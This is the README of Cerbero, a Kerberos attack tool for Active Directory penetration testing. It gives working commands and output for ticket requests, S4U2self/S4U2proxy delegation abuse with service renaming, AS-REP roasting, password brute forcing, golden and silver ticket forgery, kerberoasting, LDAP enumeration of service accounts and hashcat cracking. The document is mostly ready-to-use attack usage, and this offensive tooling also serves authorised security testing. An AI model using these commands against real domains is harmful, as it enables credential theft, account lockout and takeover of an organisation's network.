Cerbero

Kerberos protocol attacker. Tool to perform several tasks related with Kerberos protocol in an Active Directory pentest.

Installation

From crates:

cargo install cerbero

From repo:

git clone https://gitlab.com/Zer1t0/cerbero.git
cd cerbero/
cargo install --path .

Commands

• ask
  • TGT
  • TGS
  • S4U2self
  • S4U2proxy
• asreproast
• brute
• convert
• craft
• hash
• kerberoast
• list

Ask

The ask command allows to retrieve Kerberos tickets (TGT/TGS) from the KDC (Domain Controller in Active Directory environment). Moreover, it also perform requests to obtain tickets by using the S4U2Self and S4U2Proxy Kerberos extensions.

TGT

Ask TGT:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234!
INFO - Request contoso.local/anakin TGT for contoso.local
INFO - Save contoso.local/anakin TGT for contoso.local in anakin.ccache

TGS

Ask TGS:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -s ldap/dc01
INFO - Get contoso.local/anakin TGT for contoso.local from anakin.ccache
INFO - Request contoso.local/anakin TGS for ldap/dc01
INFO - Save contoso.local/anakin TGS for ldap/dc01 in anakin.ccache

Inter-realm TGS:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -s ldap/dc01.poke.mon

S4U2self

Perform S4u2self:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han
WARN - No contoso.local/anakin TGT for contoso.local found in anakin.ccache: No TGT found for 'anakin
INFO - Request contoso.local/anakin TGT for contoso.local
INFO - Save contoso.local/anakin TGT for contoso.local in anakin.ccache
INFO - Request contoso.local/han S4U2Self TGS for contoso.local/anakin
INFO - Save contoso.local/han S4U2Self TGS for contoso.local/anakin in anakin.ccache

Inter-realm S4U2proxy:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i poke.mon/pikachu

Perform S4u2self for a given service of the user:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han --user-service service/anakin
INFO - Get contoso.local/anakin TGT for contoso.local from anakin.ccache
INFO - Request contoso.local/han S4U2Self TGS for service/anakin
INFO - Save contoso.local/han S4U2Self TGS for service/anakin in anakin.ccache

S4U2proxy

Perform S4u2proxy:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han -s service2/leia
WARN - No contoso.local/anakin TGT for contoso.local found in anakin.ccache: No TGT found for 'anakin
INFO - Request contoso.local/anakin TGT for contoso.local
INFO - Save contoso.local/anakin TGT for contoso.local in anakin.ccache
WARN - No contoso.local/han S4U2Self TGS for contoso.local/anakin found
INFO - Request contoso.local/han S4U2Self TGS for contoso.local/anakin
INFO - Save contoso.local/han S4U2Self TGS for contoso.local/anakin in anakin.ccache
INFO - Request contoso.local/han S4U2Proxy TGS for service2/leia
INFO - Save contoso.local/han S4U2proxy TGS for service2/leia in anakin.ccache

Inter-realm S4U2Proxy:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han -s service/pikachu.poke.mon

You can also perform s4u2proxy by changing the target service in the final TGS for the user:

$ cerbero ask -vv -u contoso.local/anakin -p Vader1234! -i han -s HTTP/dc01 --rename-service ldap/dc01
WARN - No contoso.local/anakin TGT for contoso.local found in anakin.ccache: No TGT found for 'anakin
INFO - Request contoso.local/anakin TGT for contoso.local
INFO - Save contoso.local/anakin TGT for contoso.local in anakin.ccache
WARN - No contoso.local/han S4U2Self TGS for service/anakin found
INFO - Request contoso.local/han S4U2Self TGS for contoso.local/anakin
INFO - Save contoso.local/han S4U2Self TGS for contoso.local/anakin in anakin.ccache
INFO - Request contoso.local/han S4U2Proxy TGS for HTTP/dc01
INFO - Received contoso.local/han S4U2proxy TGS for HTTP/dc01
INFO - Rename service from HTTP/dc01 to ldap/dc01
INFO - Save contoso.local/han S4U2proxy TGS for ldap/dc01 in anakin.ccache

AsRepRoast

asreproast can be used to discover users that do not require pre-authentication and retrieve a ticket to crack with hashcat or john.

Check many users:

cerbero asreproast under.world users.txt

Check many users with weak RC4 cipher (easier to crack):

cerbero asreproast under.world users.txt --cipher rc4

Brute

brute performs TGTs requests in order to discover user credentials based on the KDC response. This bruteforce technique allows you to discover:

• Valid username/password pairs
• Valid usernames
• Expired passwords
• Blocked or disabled users

This attack should be performed carefully since can block user accounts in case of perform many incorrect authentication attemps for the same user.

Test many users and passwords:

cerbero brute under.world users.txt passwords.txt

Test one user and many passwords:

cerbero brute under.world Zeus passwords.txt

Test many users and one password:

cerbero brute under.world users.txt Olympus1234

Test one user and one password:

cerbero brute under.world Zeus Olympus1234

Convert

convert ticket files between krb (Windows) and ccache (Linux) formats.

Convert ccache to krb:

$ cerbero convert -i anakin.ccache -o anakin.krb -vv
INFO - Read anakin.ccache with ccache format
INFO - Detected krb format from output file extension
INFO - Save anakin.krb with krb format

Convert krb to ccache:

$ cerbero convert -i anakin.krb -o anakin.ccache -vv
INFO - Read anakin.krb with krb format
INFO - Detected ccache format from output file extension
INFO - Save anakin.ccache with ccache format

Craft

To craft golden and silver tickets.

Craft a golden ticket (by using the krbtgt AES256 key):

$ cerbero craft -u under.world/kratos --sid S-1-5-21-658410550-3858838999-180593761 --aes fed0c966ff7f88d776bb35fed0f039725f8bbb87017d5b6b76ee848f25562d2c -vv
INFO - Save kratos TGT in kratos.ccache

Craft a silver ticket (for the service cifs hosted by the machine styx):

$ cerbero craft -u under.world/kratos --sid S-1-5-21-658410550-3858838999-180593761 --ntlm 29f9ab984728cc7d18c8497c9ee76c77 -s cifs/styx,under.world -vv
INFO - Save kratos TGS for cifs/styx.under.world in kratos.ccache

Hash

Calculate the Kerberos keys (password hashes) from the user password.

Calculate RC4 key (NT hash):

$ cerbero hash 'IamtheKingofD34d!!'
rc4:86e0a04f7a44ed4d4a7eaf2ee977c799

Calculate all the keys:

$ cerbero hash 'IamtheKingofD34d!!' -u under.world/Hades
rc4:86e0a04f7a44ed4d4a7eaf2ee977c799
aes128:fe165dec904772a90a177069e4ea7019
aes256:1304965c35176aeb72e1ae5fdd6c2fe2e901af7223cb75f5eaac25ad667136e7

Kerberoast

To format encrypted part of tickets in order to be cracked by hashcat or john.

You need to provide a file with the user services. Each line of the file must have one of the following formats:

• user
• domain/user
• user:spn
• domain/user:spn

When a service SPN is not specified, then a NT-ENTERPRISE principal is used. This can also be useful to bruteforce users with services.

An example file is the following:

sara
jack:HTTP/webserver
cake.com/john
cake.com/peter:HTTP/peter-pc

By using that file you could obtain a result like the following:

$ cerbero kerberoast u contoso.local/jaime -p Jama1234! -s /tmp/users.txt | tee /tmp/hashes.txt
$krb5tgs$23$*sara$CONTOSO.LOCAL$sara@contoso.local*$637b06b244ad69bf30d9b0a956c6143....5f69271
$krb5tgs$23$*jack$CONTOSO.LOCAL$HTTP/webserver*$8723987493798178273879856c6....ab78677
$krb5tgs$23$*john$CAKE.COM$john@CAKE.COM*$87687619876bde9879879879....1111111
$krb5tgs$23$*peter$CAKE.COM$HTTP/peter-pc*$2c77d95792f1393d3f25aec157823....4f6085f

To get a list of users with services you can use ldapsearch:

$ ldapsearch -h 192.168.100.2 -b "dc=contoso,dc=local" -w Vader1234!  -D "Anakin@contoso.local" "(&(samAccountType=805306368)(servicePrincipalName=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" samaccountname | grep -i samaccountname: | cut -d ' ' -f 2 | tee users.txt
anakin
leia

The tickets could be cracked by using the following hashcat command:

$ hashcat -m 13100 /tmp/hashes.txt wordlist.txt

List

list displays information of credentials files (ccache/krb) or keytabs. Similar to klist command.

Show the credentials information of a ccache file:

$ cerbero list hades.ccache
Ticket cache (ccache): FILE:hades.ccache

Hades@UNDER.WORLD => krbtgt/UNDER.WORLD@UNDER.WORLD
Valid starting: 01/12/2021 12:08:09
Expires: 01/12/2021 22:08:09
Renew until: 01/19/2021 12:08:09
Flags: 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Etype (skey, tkt): 18 -> aes256-cts-hmac-sha1-96, 18 -> aes256-cts-hmac-sha1-96

Show the keys of a keytab file:

$ cerbero list user.keytab
Keytab: user.keytab

user@domain.com
Name type: 1 -> nt-principal
Key: 8846f7eaee8fb117ad06bdd830b7586c
Key type: 23 -> rc4-hmac
Time: 01/17/2021 16:26:23
Version: 1

If no file is provided, it will try to search the default credential file set in the KRB5CCNAME environment variable . However, if the option -K is provided, it will try to show the keytab file specified in the KRB5_KTNAME environment variable.

Credits

This work is based on great work of other people:

• Impacket of Alberto Solino @agsolino
• Rubeus of Will @harmj0y and Elad Shamir @elad_shamir
• Mimikatz of @gentilkiwi